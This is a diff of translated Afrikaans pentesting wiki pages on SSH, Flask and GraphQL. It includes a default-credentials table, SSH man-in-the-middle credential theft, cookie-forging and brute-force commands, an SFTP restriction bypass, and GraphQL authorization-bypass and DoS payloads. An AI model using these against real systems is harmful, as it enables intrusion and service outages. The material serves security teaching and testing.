{{#ref}}
|
||||
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
|
||||
{{#endref}}
|
||||
|
||||
#### Swak SSH sleutels / Debian voorspelbare PRNG
|
||||
|
||||
@ -145,7 +145,7 @@ Vir meer inligting, voer `crackmapexec ssh --help` uit.
|
||||
| EMC | admin, root, sysadmin | EMCPMAdm7n, Wagwoord#1, Wagwoord123#, sysadmin, changeme, emc |
|
||||
| HP/3Com | admin, root, vcx, app, spvar, bestuur, hpsupport, opc_op | admin, wagwoord, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, mooi, toegang, konfig, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !bestuur, !admin |
|
||||
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
|
||||
| IBM | USERID, admin, bestuurder, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, stelsel, toestel, ufmcli, klant | PASSW0RD, passw0rd, admin, wagwoord, Passw8rd, iadmin, apc, 123456, cust0mer |
|
||||
| IBM | USERID, admin, bestuurder, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, stelsel, toestel, ufmcli, klant | PASSW0RD, passw0rd, admin, wagwoord, Passw8rd, iadmin, apc, 123456, klant0mer |
|
||||
| Juniper | netscreen | netscreen |
|
||||
| NetApp | admin | netapp123 |
|
||||
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
|
||||
@ -153,13 +153,13 @@ Vir meer inligting, voer `crackmapexec ssh --help` uit.
|
||||
|
||||
## SSH-MitM
|
||||
|
||||
As jy in die plaaslike netwerk is as die slagoffer wat gaan aansluit by die SSH bediener met gebruikersnaam en wagwoord, kan jy probeer om **'n MitM-aanval uit te voer om daardie kredensiale te steel:**
|
||||
As jy in die plaaslike netwerk is as die slagoffer wat gaan aansluit by die SSH bediener met gebruikersnaam en wagwoord, kan jy probeer om 'n **MitM-aanval uit te voer om daardie kredensiale te steel:**
|
||||
|
||||
**Aanvalspad:**
|
||||
|
||||
- **Verkeersherleiding:** Die aanvaller **aflei** die slagoffer se verkeer na hul masjien, wat effektief die verbinding poging na die SSH bediener **afvang**.
|
||||
- **Afvang en Logboekhouding:** Die aanvaller se masjien funksioneer as 'n **proxy**, **vang** die gebruiker se aanmeldbesonderhede op deur voor te gee om die wettige SSH bediener te wees.
|
||||
- **Opdraguitvoering en Relay:** Laastens, die aanvaller se bediener **registreer die gebruiker se kredensiale**, **stuur die opdragte** na die werklike SSH bediener, **voert dit uit**, en **stuur die resultate terug** na die gebruiker, wat die proses glad en wettig laat voorkom.
|
||||
- **Afvang en Log:** Die aanvaller se masjien funksioneer as 'n **proxy**, **vang** die gebruiker se aanmeldbesonderhede op deur voor te gee om die wettige SSH bediener te wees.
|
||||
- **Opdraguitvoering en Relay:** Laastens, die aanvaller se bediener **log die gebruiker se kredensiale**, **stuur die opdragte** na die werklike SSH bediener, **voert dit uit**, en **stuur die resultate terug** na die gebruiker, wat die proses glad en wettig laat voorkom.
|
||||
|
||||
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) doen presies wat hierbo beskryf is.
|
||||
|
||||
@ -174,7 +174,7 @@ SSH-Snake voer die volgende take outomaties en herhalend uit:
|
||||
1. Op die huidige stelsel, vind enige SSH privaat sleutels,
|
||||
2. Op die huidige stelsel, vind enige gaste of bestemmings (gebruiker@gas) wat die privaat sleutels mag aanvaar,
|
||||
3. Probeer om SSH in al die bestemmings in te gaan met al die ontdekte privaat sleutels,
|
||||
4. As 'n bestemming suksesvol gekonnekteer is, herhaal stappe #1 - #4 op die gekonnekteerde stelsel.
|
||||
4. As 'n bestemming suksesvol gekoppel is, herhaal stappe #1 - #4 op die gekoppelde stelsel.
|
||||
|
||||
Dit is heeltemal self-repliserend en self-propagasies -- en heeltemal fileloos.
|
||||
|
||||
@ -197,7 +197,7 @@ Dit is algemeen dat SSH bedieners root gebruiker aanmelding standaard toelaat, w
|
||||
|
||||
### SFTP opdraguitvoering
|
||||
|
||||
Daar is 'n algemene oorsig wat plaasvind met SFTP opstellings, waar administrateurs bedoel dat gebruikers lêers moet uitruil sonder om afstandshell toegang te aktiveer. Ten spyte van die instelling van gebruikers met nie-interaktiewe shells (bv. `/usr/bin/nologin`) en hulle te beperk tot 'n spesifieke gids, bly 'n sekuriteitslek. **Gebruikers kan hierdie beperkings omseil** deur die uitvoering van 'n opdrag (soos `/bin/bash`) onmiddellik na aanmelding aan te vra, voordat hul aangewese nie-interaktiewe shell oorgeneem word. Dit stel ongeoorloofde opdraguitvoering in staat, wat die bedoelde sekuriteitsmaatreëls ondermyn.
|
||||
Daar is 'n algemene oorsig wat plaasvind met SFTP opstellings, waar administrateurs bedoel dat gebruikers lêers moet uitruil sonder om afstandshell toegang toe te laat. Ten spyte van die instelling van gebruikers met nie-interaktiewe shells (bv. `/usr/bin/nologin`) en hulle te beperk tot 'n spesifieke gids, bly 'n sekuriteitslek. **Gebruikers kan hierdie beperkings omseil** deur die uitvoering van 'n opdrag (soos `/bin/bash`) onmiddellik na aanmelding te vra, voordat hul aangewese nie-interaktiewe shell oorneem. Dit stel ongeoorloofde opdraguitvoering in staat, wat die bedoelde sekuriteitsmaatreëls ondermyn.
|
||||
|
||||
[Voorbeeld van hier](https://community.turgensec.com/ssh-hacking-guide/):
|
||||
```bash
|
||||
@ -259,15 +259,15 @@ OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
|
||||
...
|
||||
debug1: Authentications that can continue: publickey,password,keyboard-interactive
|
||||
```
|
||||
Byvoorbeeld, as 'n outentikasiefoutgrens gestel is en jy nooit die kans kry om die wagwoordmetode te bereik nie, kan jy die `PreferredAuthentications` opsie gebruik om te dwing om hierdie metode te gebruik.
|
||||
As 'n outentikasie-foutgrens gestel is en jy nooit die kans kry om die wagwoordmetode te bereik nie, kan jy die `PreferredAuthentications` opsie gebruik om hierdie metode af te dwing.
|
||||
```bash
|
||||
ssh -v 192.168.1.94 -o PreferredAuthentications=password
|
||||
...
|
||||
debug1: Next authentication method: password
|
||||
```
|
||||
Die hersiening van die SSH-bediener konfigurasie is nodig om te verifieer dat slegs verwagte metodes gemagtig is. Die gebruik van die uitgebreide modus op die kliënt kan help om die doeltreffendheid van die konfigurasie te sien.
|
||||
Die hersiening van die SSH-bediener konfigurasie is nodig om te kontroleer dat slegs verwagte metodes gemagtig is. Die gebruik van die uitgebreide modus op die kliënt kan help om die doeltreffendheid van die konfigurasie te sien.
|
||||
|
||||
### Konfigurasie lêers
|
||||
### Config files
|
||||
```bash
|
||||
ssh_config
|
||||
sshd_config
|
||||
|
@ -2,8 +2,10 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Kyk na hierdie bladsy as jy meer wil leer oor die opnoem en misbruik van Emmers:
|
||||
Kyk hierdie bladsy as jy meer wil leer oor die opnoem en misbruik van Emmers:
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum" %}
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -8,6 +8,8 @@ Firebase is 'n Backend-as-a-Service hoofsaaklik vir mobiele toepassings. Dit fok
|
||||
|
||||
Leer meer oor Firebase in:
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum" %}
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -15,7 +15,9 @@ cachedArchives[p].destroy()
|
||||
}
|
||||
})
|
||||
```
|
||||
{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %}
|
||||
{{#ref}}
|
||||
https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36
|
||||
{{#endref}}
|
||||
|
||||
.png>)
|
||||
|
||||
@ -29,7 +31,7 @@ Waar "self" Node se proses objek is:
|
||||
|
||||
.png>)
|
||||
|
||||
Die proses objek het 'n verwysing na "require" funksie:
|
||||
Die proses objek het 'n verwysing na die "require" funksie:
|
||||
```
|
||||
process.mainModule.require
|
||||
```
|
||||
@ -44,7 +46,7 @@ location.reload() //Trigger the "exit" event
|
||||
```
|
||||
## Voorbeeld 2
|
||||
|
||||
Kry **vereis objek uit prototipe besoedeling**. Van [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
|
||||
Kry **require object van prototipe besoedeling**. Van [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
|
||||
|
||||
Besoedeling:
|
||||
|
||||
|
@ -22,9 +22,11 @@ Die koekie is ook onderteken met 'n wagwoord
|
||||
|
||||
### **Flask-Unsign**
|
||||
|
||||
Opdraglyn hulpmiddel om sessiekoekies van 'n Flask-toepassing te verkry, te ontleed, te brute-force en te vervaardig deur geheime sleutels te raai.
|
||||
Opdraglyn hulpmiddel om sessie koekies van 'n Flask-toepassing te verkry, te ontleed, te brute-force en te vervaardig deur geheime sleutels te raai.
|
||||
|
||||
{% embed url="https://pypi.org/project/flask-unsign/" %}
|
||||
{{#ref}}
|
||||
https://pypi.org/project/flask-unsign/
|
||||
{{#endref}}
|
||||
```bash
|
||||
pip3 install flask-unsign
|
||||
```
|
||||
@ -40,7 +42,7 @@ flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<coo
|
||||
```bash
|
||||
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
|
||||
```
|
||||
#### Ondertekening met behulp van ouer (oudere weergawes)
|
||||
#### Ondertekening met ouer (ou weergawe)
|
||||
```bash
|
||||
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
|
||||
```
|
||||
@ -48,7 +50,9 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
|
||||
|
||||
Opdraglyn hulpmiddel om webwerwe te brute-force met koekies wat met flask-unsign gemaak is.
|
||||
|
||||
{% embed url="https://github.com/Tagvi/ripsession" %}
|
||||
{{#ref}}
|
||||
https://github.com/Tagvi/ripsession
|
||||
{{#endref}}
|
||||
```bash
|
||||
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
|
||||
```
|
||||
@ -56,7 +60,7 @@ ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s p
|
||||
|
||||
[**Hierdie voorbeeld**](../../pentesting-web/sql-injection/sqlmap/#eval) gebruik sqlmap `eval` opsie om **automaties sqlmap payloads** vir flask te teken met 'n bekende geheim.
|
||||
|
||||
## Flask Proxy na SSRF
|
||||
## Flask Proxie na SSRF
|
||||
|
||||
[**In hierdie skrywe**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) word verduidelik hoe Flask 'n versoek toelaat wat begin met die karakter "@":
|
||||
```http
|
||||
|
@ -2,10 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Inleiding
|
||||
|
||||
GraphQL word **uitgelig** as 'n **doeltreffende alternatief** vir REST API, wat 'n vereenvoudigde benadering bied om data van die agterkant te vra. In teenstelling met REST, wat dikwels 'n aantal versoeke oor verskillende eindpunte vereis om data te versamel, stel GraphQL die haal van alle nodige inligting deur 'n **enkele versoek** moontlik. Hierdie stroomlynings **voordele ontwikkelaars** deur die kompleksiteit van hul data-haal prosesse te verminder.
|
||||
GraphQL word **uitgelig** as 'n **doeltreffende alternatief** vir REST API, wat 'n vereenvoudigde benadering bied om data van die agterkant te vra. In teenstelling met REST, wat dikwels 'n aantal versoeke oor verskillende eindpunte benodig om data te versamel, stel GraphQL die haal van alle vereiste inligting deur 'n **enkele versoek** moontlik. Hierdie stroomlynings **voordele ontwikkelaars** deur die kompleksiteit van hul data-haal prosesse te verminder.
|
||||
|
||||
## GraphQL en Sekuriteit
|
||||
|
||||
@ -24,7 +23,7 @@ Om blootgestelde GraphQL voorbeelde te identifiseer, word die insluiting van spe
|
||||
- `/graphql/api`
|
||||
- `/graphql/graphql`
|
||||
|
||||
Die identifisering van oop GraphQL voorbeelde stel in staat om die ondersteunende versoeke te ondersoek. Dit is van kardinale belang om die data wat deur die eindpunt beskikbaar is, te verstaan. GraphQL se introspeksiestelsel fasiliteer dit deur die versoeke wat 'n skema ondersteun, in detail te beskryf. Vir meer inligting hieroor, verwys na die GraphQL dokumentasie oor introspeksie: [**GraphQL: 'n vrae-taal vir API's.**](https://graphql.org/learn/introspection/)
|
||||
Die identifisering van oop GraphQL voorbeelde stel in staat om die ondersteunende versoeke te ondersoek. Dit is van kardinale belang om die data wat deur die eindpunt beskikbaar is, te verstaan. GraphQL se introspeksiestelsel fasiliteer dit deur die versoeke wat 'n skema ondersteun, te detailleer. Vir meer inligting hieroor, verwys na die GraphQL dokumentasie oor introspeksie: [**GraphQL: 'n vrae-taal vir API's.**](https://graphql.org/learn/introspection/)
|
||||
|
||||
### Vingerafdruk
|
||||
|
||||
@ -52,13 +51,13 @@ Met hierdie navraag sal jy die name van al die tipes wat gebruik word, vind:
|
||||
```bash
|
||||
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
|
||||
```
|
||||
Met hierdie navraag kan jy al die tipes, sy velde, en sy argumente (en die tipe van die argumente) onttrek. Dit sal baie nuttig wees om te weet hoe om die databasis te navraag.
|
||||
Met hierdie navraag kan jy al die tipes, dit se velde, en dit se argumente (en die tipe van die argumente) onttrek. Dit sal baie nuttig wees om te weet hoe om die databasis te navraag.
|
||||
|
||||
.png>)
|
||||
|
||||
**Foute**
|
||||
|
||||
Dit is interessant om te weet of die **foute** as **getoon** gaan word, aangesien dit sal bydra tot nuttige **inligting.**
|
||||
Dit is interessant om te weet of die **foute** gaan **verskyn** aangesien dit sal bydra tot nuttige **inligting.**
|
||||
```
|
||||
?query={__schema}
|
||||
?query={}
|
||||
@ -177,15 +176,15 @@ In die introspeksie kan jy vind **watter objek jy direk kan navraag doen** (want
|
||||
|
||||

|
||||
|
||||
Let daarop dat die tipe van die navraag "_flags_" "_Flags_" is, en hierdie objek is soos hieronder gedefinieer:
|
||||
Let daarop dat die tipe van die navraag "_flags_" is "_Flags_", en hierdie objek is soos hieronder gedefinieer:
|
||||
|
||||
.png>)
|
||||
|
||||
Jy kan sien dat die "_Flags_" objektes saamgestel is uit **naam** en **waarde**. Dan kan jy al die name en waardes van die vlae met die navraag kry:
|
||||
Jy kan sien dat die "_Flags_" objekte saamgestel is uit **naam** en **waarde**. Dan kan jy al die name en waardes van die vlae met die navraag kry:
|
||||
```javascript
|
||||
query={flags{name, value}}
|
||||
```
|
||||
Let daarop dat in die geval waar die **objek om te vra** 'n **primitiewe** **tipe** soos **string** is, soos in die volgende voorbeeld
|
||||
Neem kennis dat as die **objek om te vra** 'n **primitiewe** **tipe** soos **string** is, soos in die volgende voorbeeld
|
||||
|
||||
.png>)
|
||||
|
||||
@ -216,11 +215,11 @@ Let daarop dat ek **ontdek** het dat ek kon vra vir die **parameters** "_**user*
|
||||
|
||||
.png>)
|
||||
|
||||
En tydens die **enumeration phase** het ek ontdek dat die "_**dbuser**_" voorwerp as velde "_**user**_" en "_**password**_" gehad het.
|
||||
En tydens die **enumeration fase** het ek ontdek dat die "_**dbuser**_" voorwerp as velde "_**user**_" en "_**password**_" gehad het.
|
||||
|
||||
**Query string dump trick (dankie aan @BinaryShadow\_)**
|
||||
|
||||
As jy kan soek volgens 'n string tipe, soos: `query={theusers(description: ""){username,password}}` en jy **soek vir 'n leë string** sal dit **al die data dump**. (_Let op dat hierdie voorbeeld nie verband hou met die voorbeeld van die tutorials nie, vir hierdie voorbeeld neem aan jy kan soek met "**theusers**" deur 'n String veld genaamd "**description**"_).
|
||||
As jy kan soek op 'n string tipe, soos: `query={theusers(description: ""){username,password}}` en jy **soek vir 'n leë string** sal dit **alle data dump**. (_Let op dat hierdie voorbeeld nie verband hou met die voorbeeld van die tutorials nie, vir hierdie voorbeeld neem aan jy kan soek met "**theusers**" deur 'n String veld genaamd "**description**"_).
|
||||
|
||||
### Soek
|
||||
|
||||
@ -251,7 +250,7 @@ name
|
||||
```
|
||||
Let op hoe dit aangedui word om die `name` van die `subscribedMovies` van die persoon te verkry.
|
||||
|
||||
Jy kan ook **verskeie voorwerpe gelyktydig soek**. In hierdie geval word 'n soektog na 2 flieks gedoen:
|
||||
Jy kan ook **verskeie objekte terselfdertyd soek**. In hierdie geval word daar 'n soektog na 2 flieks gedoen:
|
||||
```javascript
|
||||
{
|
||||
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
|
||||
@ -284,7 +283,7 @@ name
|
||||
```
|
||||
### Mutasies
|
||||
|
||||
**Mutasies word gebruik om veranderinge aan die bediener-kant te maak.**
|
||||
**Mutasies word gebruik om veranderinge aan die bedienerkant te maak.**
|
||||
|
||||
In die **introspeksie** kan jy die **verklaarde** **mutasies** vind. In die volgende beeld word die "_MutationType_" "_Mutation_" genoem en die "_Mutation_" objek bevat die name van die mutasies (soos "_addPerson_" in hierdie geval):
|
||||
|
||||
@ -292,7 +291,7 @@ In die **introspeksie** kan jy die **verklaarde** **mutasies** vind. In die volg
|
||||
|
||||
In hierdie opstelling bevat 'n **databasis** **persone** en **flieks**. **Persone** word geïdentifiseer deur hul **e-pos** en **naam**; **flieks** deur hul **naam** en **gradering**. **Persone** kan vriende met mekaar wees en ook flieks hê, wat verhoudings binne die databasis aandui.
|
||||
|
||||
'n mutasie om **nuwe** flieks binne die databasis te **skep** kan soos die volgende een wees (in hierdie voorbeeld word die mutasie `addMovie` genoem):
|
||||
'n mutasie om **nuwe** flieks binne die databasis te skep kan soos die volgende een wees (in hierdie voorbeeld word die mutasie `addMovie` genoem):
|
||||
```javascript
|
||||
mutation {
|
||||
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
|
||||
@ -354,7 +353,7 @@ Soos ons kan sien uit die respons skermskoot, het die eerste en derde versoeke _
|
||||
|
||||
Al hoe meer **graphql eindpunte deaktiveer introspeksie**. Tog is die foute wat graphql gooi wanneer 'n onverwagte versoek ontvang word, genoeg vir gereedskap soos [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) om die meeste van die skema te herop te bou.
|
||||
|
||||
Boonop observeer die Burp Suite uitbreiding [**GraphQuail**](https://github.com/forcesunseen/graphquail) **GraphQL API versoeke wat deur Burp gaan** en **bou** 'n interne GraphQL **skema** met elke nuwe navraag wat dit sien. Dit kan ook die skema blootstel vir GraphiQL en Voyager. Die uitbreiding gee 'n vals respons wanneer dit 'n introspeksie navraag ontvang. As gevolg hiervan, wys GraphQuail al die navrae, argumente, en velde beskikbaar vir gebruik binne die API. Vir meer inligting [**kyk hier**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
||||
Boonop observeer die Burp Suite uitbreiding [**GraphQuail**](https://github.com/forcesunseen/graphquail) **GraphQL API versoeke wat deur Burp gaan** en **bou** 'n interne GraphQL **skema** met elke nuwe navraag wat dit sien. Dit kan ook die skema vir GraphiQL en Voyager blootstel. Die uitbreiding gee 'n vals respons wanneer dit 'n introspeksie navraag ontvang. As gevolg hiervan, wys GraphQuail al die navrae, argumente, en velde beskikbaar vir gebruik binne die API. Vir meer inligting [**kyk hier**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
||||
|
||||
'n Goeie **woordlys** om [**GraphQL entiteite te ontdek kan hier gevind word**](https://github.com/Escape-Technologies/graphql-wordlist?).
|
||||
|
||||
@ -424,7 +423,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
||||
```
|
||||
Daarom, aangesien CSRF versoeke soos die vorige **sonder preflight versoeke** gestuur word, is dit moontlik om **veranderinge** in die GraphQL te **maak** deur 'n CSRF te misbruik.
|
||||
|
||||
Let egter daarop dat die nuwe standaard koekiewaarde van die `samesite` vlag van Chrome `Lax` is. Dit beteken dat die koekie slegs van 'n derdeparty web in GET versoeke gestuur sal word.
|
||||
Let egter daarop dat die nuwe standaard koekiewaarde van die `samesite` vlag van Chrome `Lax` is. Dit beteken dat die koekie slegs van 'n derdeparty-web in GET versoeke gestuur sal word.
|
||||
|
||||
Let daarop dat dit gewoonlik moontlik is om die **query** **versoek** ook as 'n **GET** **versoek** te stuur en die CSRF-token mag nie in 'n GET-versoek geverifieer word nie.
|
||||
|
||||
@ -434,7 +433,7 @@ Vir meer inligting **kyk die** [**oorspronklike pos hier**](https://blog.doyense
|
||||
|
||||
## Cross-site WebSocket kaping in GraphQL
|
||||
|
||||
Soos CRSF kwesbaarhede wat GraphQL misbruik, is dit ook moontlik om 'n **Cross-site WebSocket kaping uit te voer om 'n outentikasie met GraphQL te misbruik met onbeskermde koekies** en 'n gebruiker te laat optree op 'n onverwagte manier in GraphQL.
|
||||
Soos CRSF kwesbaarhede wat GraphQL misbruik, is dit ook moontlik om 'n **Cross-site WebSocket kaping uit te voer om 'n outentisering met GraphQL met onbeveiligde koekies te misbruik** en 'n gebruiker onvoorsiene aksies in GraphQL te laat uitvoer.
|
||||
|
||||
Vir meer inligting kyk:
|
||||
|
||||
@ -444,9 +443,9 @@ Vir meer inligting kyk:
|
||||
|
||||
## Magtiging in GraphQL
|
||||
|
||||
Baie GraphQL funksies wat op die eindpunt gedefinieer is, mag slegs die outentikasie van die versoeker nagaan, maar nie magtiging nie.
|
||||
Baie GraphQL funksies wat op die eindpunt gedefinieer is, mag slegs die outentisering van die versoeker nagaan, maar nie magtiging nie.
|
||||
|
||||
Die wijziging van query invoer veranderlikes kan lei tot sensitiewe rekeningbesonderhede [gelekt](https://hackerone.com/reports/792927).
|
||||
Die wijziging van query invoervariabeles kan lei tot sensitiewe rekeningbesonderhede [gelekt](https://hackerone.com/reports/792927).
|
||||
|
||||
Mutasie kan selfs lei tot rekening oorname deur te probeer om ander rekeningdata te wijzig.
|
||||
```javascript
|
||||
@ -456,15 +455,15 @@ Mutasie kan selfs lei tot rekening oorname deur te probeer om ander rekeningdata
|
||||
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
|
||||
}
|
||||
```
|
||||
### Oorskrywing van magtiging in GraphQL
|
||||
### Oorbrugging van magtiging in GraphQL
|
||||
|
||||
[Die ketting van navrae](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) kan 'n swak magtigingstelsel oorskry.
|
||||
[Die ketting van navrae](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) saam kan 'n swak magtigingstelsel oorbrug.
|
||||
|
||||
In die onderstaande voorbeeld kan jy sien dat die operasie "forgotPassword" is en dat dit slegs die forgotPassword-navraag wat daarmee geassosieer is, moet uitvoer. Dit kan oorgeskryf word deur 'n navraag aan die einde toe te voeg, in hierdie geval voeg ons "register" en 'n gebruiker veranderlike by sodat die stelsel as 'n nuwe gebruiker geregistreer kan word.
|
||||
In die onderstaande voorbeeld kan jy sien dat die operasie "forgotPassword" is en dat dit slegs die forgotPassword-navraag wat daarmee geassosieer is, moet uitvoer. Dit kan oorbrug word deur 'n navraag aan die einde by te voeg, in hierdie geval voeg ons "register" en 'n gebruikersvariabele by sodat die stelsel as 'n nuwe gebruiker geregistreer kan word.
|
||||
|
||||
<figure><img src="../../images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Oorskrywing van Tariefbeperkings met behulp van Aliasse in GraphQL
|
||||
## Oorbrugging van Tariefbeperkings met behulp van Aliasse in GraphQL
|
||||
|
||||
In GraphQL is aliasse 'n kragtige kenmerk wat die **naamgewing van eienskappe eksplisiet** toelaat wanneer 'n API-versoek gemaak word. Hierdie vermoë is veral nuttig om **meervoudige instansies van dieselfde tipe** objek binne 'n enkele versoek te verkry. Aliasse kan gebruik word om die beperking te oorkom wat voorkom dat GraphQL-objekte meervoudige eienskappe met dieselfde naam het.
|
||||
|
||||
@ -489,9 +488,9 @@ valid
|
||||
```
|
||||
## DoS in GraphQL
|
||||
|
||||
### Alias Oorgemak
|
||||
### Alias Oorbelasting
|
||||
|
||||
**Alias Oorgemak** is 'n GraphQL kwesbaarheid waar aanvallers 'n navraag oorlaai met baie aliase vir dieselfde veld, wat die agtergrondoplosser dwing om daardie veld herhaaldelik uit te voer. Dit kan bedienerhulpbronne oorweldig, wat lei tot 'n **Denial of Service (DoS)**. Byvoorbeeld, in die navraag hieronder, word dieselfde veld (`expensiveField`) 1,000 keer aangevra met behulp van aliase, wat die agtergrond dwing om dit 1,000 keer te bereken, wat moontlik die CPU of geheue kan uitput:
|
||||
**Alias Oorbelasting** is 'n GraphQL kwesbaarheid waar aanvallers 'n navraag oorlaai met baie aliase vir dieselfde veld, wat die agtergrondoplosser dwing om daardie veld herhaaldelik uit te voer. Dit kan bedienerhulpbronne oorweldig, wat lei tot 'n **Denial of Service (DoS)**. Byvoorbeeld, in die navraag hieronder, word dieselfde veld (`expensiveField`) 1,000 keer aangevra met behulp van aliase, wat die agtergrond dwing om dit 1,000 keer te bereken, wat moontlik die CPU of geheue kan uitput:
|
||||
```graphql
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "Content-Type: application/json" \
|
||||
@ -502,7 +501,7 @@ Om dit te verminder, implementeer alias telling beperkings, navraag kompleksitei
|
||||
|
||||
### **Array-gebaseerde Navraag Groepering**
|
||||
|
||||
**Array-gebaseerde Navraag Groepering** is 'n kwesbaarheid waar 'n GraphQL API die groepering van verskeie navrae in 'n enkele versoek toelaat, wat 'n aanvaller in staat stel om 'n groot aantal navrae gelyktydig te stuur. Dit kan die agtergrond oorweldig deur al die gegroepeerde navrae gelyktydig uit te voer, wat oormatige hulpbronne (CPU, geheue, databasisverbindinge) verbruik en moontlik kan lei tot 'n **Denial of Service (DoS)**. As daar geen limiet op die aantal navrae in 'n groep is nie, kan 'n aanvaller dit benut om diensbeskikbaarheid te verlaag.
|
||||
**Array-gebaseerde Navraag Groepering** is 'n kwesbaarheid waar 'n GraphQL API die groepering van verskeie navrae in 'n enkele versoek toelaat, wat 'n aanvaller in staat stel om 'n groot aantal navrae gelyktydig te stuur. Dit kan die agtergrond oorweldig deur al die gegroepeerde navrae parallel uit te voer, wat oormatige hulpbronne (CPU, geheue, databasisverbindinge) verbruik en moontlik kan lei tot 'n **Denial of Service (DoS)**. As daar geen limiet op die aantal navrae in 'n groep is nie, kan 'n aanvaller dit benut om diensbeskikbaarheid te verlaag.
|
||||
```graphql
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
@ -510,11 +509,11 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
|
||||
'https://example.com/graphql'
|
||||
```
|
||||
In hierdie voorbeeld word 10 verskillende navrae in een versoek gebundel, wat die bediener dwing om al hulle gelyktydig uit te voer. As dit met 'n groter bundelgrootte of rekenaarintensiewe navrae uitgebuit word, kan dit die bediener oorlaai.
|
||||
In hierdie voorbeeld word 10 verskillende vrae in een versoek gebundel, wat die bediener dwing om al hulle gelyktydig uit te voer. As dit met 'n groter bundelgrootte of rekenaarintensiewe vrae uitgebuit word, kan dit die bediener oorlaai.
|
||||
|
||||
### **Direktiewe Oorlaai Kw vulnerability**
|
||||
|
||||
**Direktiewe Oorlaai** vind plaas wanneer 'n GraphQL-bediener navrae met oormatige, gedupliseerde direktiewe toelaat. Dit kan die bediener se parser en eksekuteur oorweldig, veral as die bediener herhaaldelik dieselfde direktiewe logika verwerk. Sonder behoorlike validasie of perke kan 'n aanvaller dit uitbuit deur 'n navraag te skep met talle gedupliseerde direktiewe om hoë rekenaar- of geheuegebruik te aktiveer, wat lei tot **Denial of Service (DoS)**.
|
||||
**Direktiewe Oorlaai** vind plaas wanneer 'n GraphQL-bediener vrae met oormatige, gedupliseerde direktiewe toelaat. Dit kan die bediener se parser en eksekuteur oorweldig, veral as die bediener herhaaldelik dieselfde direktiewe logika verwerk. Sonder behoorlike validering of perke kan 'n aanvaller dit uitbuit deur 'n vraag te skep met talle gedupliseerde direktiewe om hoë rekenaar- of geheuegebruik te aktiveer, wat lei tot **Denial of Service (DoS)**.
|
||||
```bash
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
